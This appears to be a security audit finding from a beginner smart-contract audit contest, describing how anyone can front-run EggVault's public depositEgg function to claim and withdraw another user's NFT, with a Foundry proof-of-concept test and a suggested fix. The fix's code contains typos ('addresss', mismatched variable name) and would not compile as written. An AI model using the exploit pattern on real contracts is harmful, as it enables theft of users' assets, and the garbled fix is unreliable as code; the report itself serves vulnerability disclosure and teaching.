Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Egg Deposit Vulnerability in EggVault Contract

elyas6126

Summary

TheEggVault::depositEgg function in the EggVault contract is publicly accessible, allowing any address to register themselves as the depositor of an NFT that has been transferred to the vault. This could lead to unauthorized claims of ownership over deposited eggs.

Vulnerability Details

function depositEgg(uint256 tokenId, address depositor) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}

The function only checks if:

  1. The NFT is owned by the vault.

  2. The egg hasn't been deposited before.

Attack Scenario

  1. Alice legitimately obtains an NFT (tokenId: 50) through the game.

  2. Alice transfers her NFT to theEggVault contract (before officially registering it).

  3. Bob (the attacker) sees this transaction and front-runs Alice's deposit call.

  4. Bob calls EggVauldt::depositEgg(50, bob), registering himself as the depositor.

  5. Alice can no longer withdraw her NFT because the system thinks Bob is the depositor.

  6. Bob can now withdraw Alice's NFT using the withdrawEgg function.

PoC

function testDepositToVaultThatIsNotOwner() public {
// Step 1: Mint an NFT to Alice through the game contract
vm.prank(address(game));
nft.mintEgg(alice, 50);
// Step 2: Alice transfers her NFT to the vault
vm.prank(alice);
nft.transferFrom(alice, address(vault), 50);
// Step 3: Bob (the attacker) exploits the vulnerability
vm.prank(bob);
vault.depositEgg(50, bob);
// Step 4: Verify that Bob successfully registered himself as the depositor
assertEq(vault.eggDepositors(50), bob);
// Step 5: Alice attempts to withdraw her NFT but fails
vm.expectRevert("Not the original depositor");
vm.prank(alice);
vault.withdrawEgg(50);
// Step 6: Bob successfully withdraws Alice's NFT
vm.prank(bob);
vault.withdrawEgg(50);
// Step 7: Final verification that Bob now owns Alice's NFT
assertEq(nft.ownerOf(50), bob);
}

Impact

  1. Any address can claim ownership of deposited NFTs.

  2. Original owners could lose their ability to withdraw their eggs.

  3. Malicious actors could steal deposited eggs by registering themselves as depositors.

  4. Breaks the trust model of the vault system.

Tools Used

Manual review

Recommendations

To fix this issue:

  1. Change EggVault::depositEgg to beexternal instead of public.

  2. Add authorization to ensure only the EggHuntGame contract can call EggVault::depositEgg.
    Updated function:

.
.
+ addresss public gameContract;
.
.
.
+ function setGameContractAddress(address _gameContract) public onlyOwner {
+ require(_gameContract != addresss(0), "Invalid game contract address");
+ gameContract = _gamecontract;
+ }
​
​
- function depositEgg(uint256 tokenId, address depositor) public {
+ function depositEgg(uint256 tokenId, address depositor) external {
+ require(msg.sender == address(gameContract), "Only game contract can deposit");
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}
Updates

Lead Judging Commences

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.